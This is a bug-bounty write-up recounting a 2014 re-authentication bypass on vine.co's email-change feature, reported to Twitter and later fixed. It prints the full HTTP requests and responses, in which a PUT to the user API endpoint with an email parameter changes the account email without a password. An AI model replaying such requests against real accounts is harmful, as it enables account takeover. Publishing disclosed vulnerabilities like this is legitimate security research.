Today I’d like to share an old bug that I found in 2014 at vine.co

Introduction

I was exploring Twitter when I saw @0xSobky’s tweet saying that he found an XSS by changing the HTTP method in “vine.co”. At that time, I was hunting bugs there for a while before they started their BB with Twitter. I was too late because an army of hackers was looking there, so all the good bugs already had been found already. But it’s about thinking outside of the box and find new attacks, new ideas, and outsmart others.

In 2014 I was 17 years old, I was very busy with school, So I didn’t have time to do BB all the time but whenever I took a break, I’d spend it doing some BB. I am familiar with “vine.co” s platform because I did some bugs hunting there earlier, found some bugs, and I reported them to twitter when they didn’t even use Hackerone  platform. I got my name to the hall of fame.


twitter-xss


The Findings

After opening vine.co and started remembering the permissions, feature, and mechanism. I did some XSS, CSRF, and IDOR tests,but to no avail . I knew it was the time to think outside the box. I wanted to change the email to an email that’s already registered, I entered the account settings page there are a few things I can work with. 

twitter-xss
Tried to change email from abdullah.test1@gmail.com to abdullah.test12@gmail.com just to check the mechanism.

twitter-xss

When I clicked “Save” this form appeared!

twitter-xss

When I was hunting bugs in vine.co , this form wasn’t here, probably because it is a new feature, and I remembered that I already suggested to Twitter’s team to make a Re-Auth to email change mechanism so CSRF and XSS won’t be useful to change email like Medium XSS. 
I tried to use this form to Brute-force the password, it allowed only 10 or 12 attempts, so it isn’t vulnerable.
There was something attracting me in the request, looked like this: 

POST /api/users/authenticate HTTP/1.1
Host: vine.co
User-Agent: Yours
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
x-vine-client: vinewww/2.1
x-vine-client-ip: XXX.239.XXX.15
vine-session-id: 1190983260029XXXX84-XXXXXX-XXX-XXXX-bf49-dfc5XXX22196c
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://vine.co/settings
Content-Length: 53
Cookie: __utma=204412823.2104088898.1474326278.1474326278.1474385286.2; __utmz=204412823.1474326278.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=204412823.15.9.1474387114630; __utmc=204412823
Connection: close

action=change-email&username=abdullah.test1%40gmail.com&password=my-pAs*w0rd

I notice that the new email didn’t included in this request this mean it is submitted in some where else . after the right Re-Auth this request will be made .

PUT /api/users/1190983260029763584 HTTP/1.1
Host: vine.co
User-Agent: Yours
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
x-vine-client: vinewww/2.1
x-vine-client-ip: XXX.239.XXX.15
vine-session-id: 11909832600XX763584-XXXXX-XXXXX-XXXX-bf49-dfcXX422196c
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://vine.co/settings
Content-Length: 33
Cookie: __utma=204412823.2104088898.1474326278.1474326278.1474385286.2; __utmz=204412823.1474326278.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=204412823.8.9.1474385736853; __utmc=204412823; __utmt=1
Connection: close

email=abdullah.test12%40gmail.com


Response:

HTTP/1.1 200 OK
Cache-Control: private, no-store, must-revalidate
Content-Disposition: attachment; filename=unknown_file.json
Content-Type: application/json
Date: DATE HERE
Expires: 0
Pragma: no-cache
Strict-Transport-Security: max-age=631138519
Content-Length: 54
Connection: Close

{"code": "", "data": {}, "success": true, "error": ""}


I saved this request and tried to compare it to non-Re-Auth actions like setting a new URL to the account:

PUT /api/users/1190983260029763584/vanity/hacker123 HTTP/1.1
Host: vine.co
User-Agent: Yours 
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
x-vine-client: vinewww/2.1
x-vine-client-ip: XXX.241.XXX.183
vine-session-id: 11909832600297635XX-ac83eaab-XXXX-XXXX-bf49-dfc56422196c
X-Requested-With: XMLHttpRequest
Referer: https://vine.co/settings
Cookie: __utma=204412823.2104088898.1474326278.1474386225.1474455441.4; __utmz=204412823.1474326278.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=204412823; __utmb=204412823.1.10.1474455441; __utmt=1
Connection: close
Content-Length: 0

There aren’t any extra headers or tokens or any kind between the two HTTP requests.
Now let’s log out and try to make the change email action using the old request, I logged out and back to the account and made the request using the same endpoint /api/users/1190983260029763584

First I made request to change the URL:

PUT /api/users/1190983260029763584/vanity/hacker123 HTTP/1.1
Host: vine.co
User-Agent: Yours 
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
x-vine-client: vinewww/2.1
x-vine-client-ip: XXX.241.XXX.183
vine-session-id: 11909832600297635XX-ac83eaab-XXXX-XXXX-bf49-dfc56422196c
X-Requested-With: XMLHttpRequest
Referer: https://vine.co/settings
Cookie: __utma=204412823.2104088898.1474326278.1474386225.1474455441.4; __utmz=204412823.1474326278.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=204412823; __utmb=204412823.1.10.1474455441; __utmt=1
Connection: close
Content-Length: 0


I added Content-Type  into the HTTP header to make PUT request with a body and change the api endpoint to /api/users/1190983260029763584  and add a parameter email in the body, the new request looks like this :

PUT /api/users/1190983260029763584 HTTP/1.1
Host: vine.co
User-Agent: Yours 
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
x-vine-client: vinewww/2.1
x-vine-client-ip: XXx.239.xxx.15
vine-session-id: 1190983260029XXX3584-XXXXX-XXXXX-48ee-bf49-XXXXXXXXXXXX
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://vine.co/settings
Content-Length: 33
Cookie: __utma=204412823.2104088898.1474326278.1474326278.1474385286.2; __utmz=204412823.1474326278.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=204412823.8.9.1474385736853; __utmc=204412823; __utmt=1
Connection: close

email=abdullah.hacker%40gmail.com

This was the response:

HTTP/1.1 200 OK
Cache-Control: private, no-store, must-revalidate
Content-Disposition: attachment; filename=unknown_file.json
Content-Type: application/json
Date: date 
Expires: 0
Pragma: no-cache
Strict-Transport-Security: max-age=631138519
Content-Length: 54
Connection: Close

{"code": "", "data": {}, "success": true, "error": ""}

The request had been accepted, without putting a username or password (Re-Auth).
Now I know this is not a really good bypass, because attacker needs a physical access to user account, or get his cookies. But it’s still a good bypass for this mechanism and they put it here for a reason and I bypassed it. Now time to report it to Twitter team.

Here is a video for PoC :

I wrote the report and sent it to them using H1 platform , I received the following message in the same day:

twitter-xss

That was good, but I had to wait for the bounty, this wasn’t the end, as I got this reply 2 days after:

twitter-xss
This reply drove me mad, it didn’t even make any sense. It’s time to write some “RESPECTFUL” reply with a more explain or objection on the decision without use mean words like “ taxi driver “ or something like “You losers nobody follow you on your account “ in BB you should always respect the teams that you work with, they don’t have any reason to drop my report. In some cases, -happened to me- they get a wrong idea for the report, sometimes, because of their little experience or a bad explain and browsers, addons, …etc. 

I wrote some points, here are a few: 

  1.  I reported vulnerability in vine.co, so it is not the iOS platform so any weakness in the iOS app, it’s not even close to my report. 
  2. Is this a new security style? if you have a weakness in mobile apps that is mean you should have it in the website too?
  3. You have a security feature in vine.co and I bypassed it, how bug bounty should be?     

and a lot to explain in one reply, Twitter team were very professional and replied:

 twitter-xss


I got my bounty and Twitter fixed the bug yesterday (after 2 years !) and everyone is happy :)


Conclusion

A lways believe in your skills and be on a good behavior with security teams, plus check the new feature and requests endpoints. 
That’s it, if you like it or want to ask anything, don’t hesitate to put a comment.
Follow me on Twitter @Abdulahhusam.  

Thank you for reading it all.